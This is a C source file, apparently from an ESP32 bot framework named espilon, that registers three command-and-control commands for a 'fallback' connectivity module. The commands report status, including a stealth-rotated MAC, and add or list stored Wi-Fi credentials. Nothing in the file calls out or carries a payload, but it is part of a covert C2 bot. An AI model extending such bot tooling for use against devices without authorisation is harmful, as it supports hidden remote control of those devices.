espilon-source/espilon_bot/components/mod_fallback/cmd_fallback.c
Eun0us 6d45770d98 epsilon: merge command system into core + add 5 new modules
Move command registry from components/command/ into components/core/.
New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota.
Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel).
Kconfig extended with per-module settings and async worker config.
2026-02-28 20:07:59 +01:00

173 lines
4.8 KiB
C

/*
* cmd_fallback.c
* Fallback resilient connectivity — 3 C2 commands for pre-configuration.
*
* The hunt itself is fully autonomous (no C2 command to start it).
* These commands are for status + pre-loading known networks while connected.
*/
#include "sdkconfig.h"
#include "cmd_fallback.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_hunt.h"
#include "fb_stealth.h"
#define TAG "FB"
/* ============================================================
* COMMAND: fb_status
* Report state, SSID, method, MAC, stored networks count.
* ============================================================ */
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_state_t state = fb_hunt_get_state();
uint8_t mac[6];
fb_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d",
fb_hunt_state_name(state),
fb_hunt_connected_ssid(),
fb_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
fb_config_net_count(),
fb_config_c2_count());
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: fb_net_add <ssid> [pass]
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (fb_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (fb_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: fb_net_list
* List known networks.
* ============================================================ */
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* Command table
* ============================================================ */
static const command_t fb_cmds[] = {
{
.name = "fb_status",
.sub = NULL,
.help = "Fallback state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_status,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_add",
.sub = NULL,
.help = "Add known network: fb_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_fb_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "fb_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_fb_net_list,
.ctx = NULL,
.async = false,
},
};
/* ============================================================
* Registration
* ============================================================ */
void mod_fallback_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
fb_config_init();
fb_hunt_init();
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
command_register(&fb_cmds[i]);
}
}
#else /* !CONFIG_MODULE_FALLBACK */
void mod_fallback_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_FALLBACK */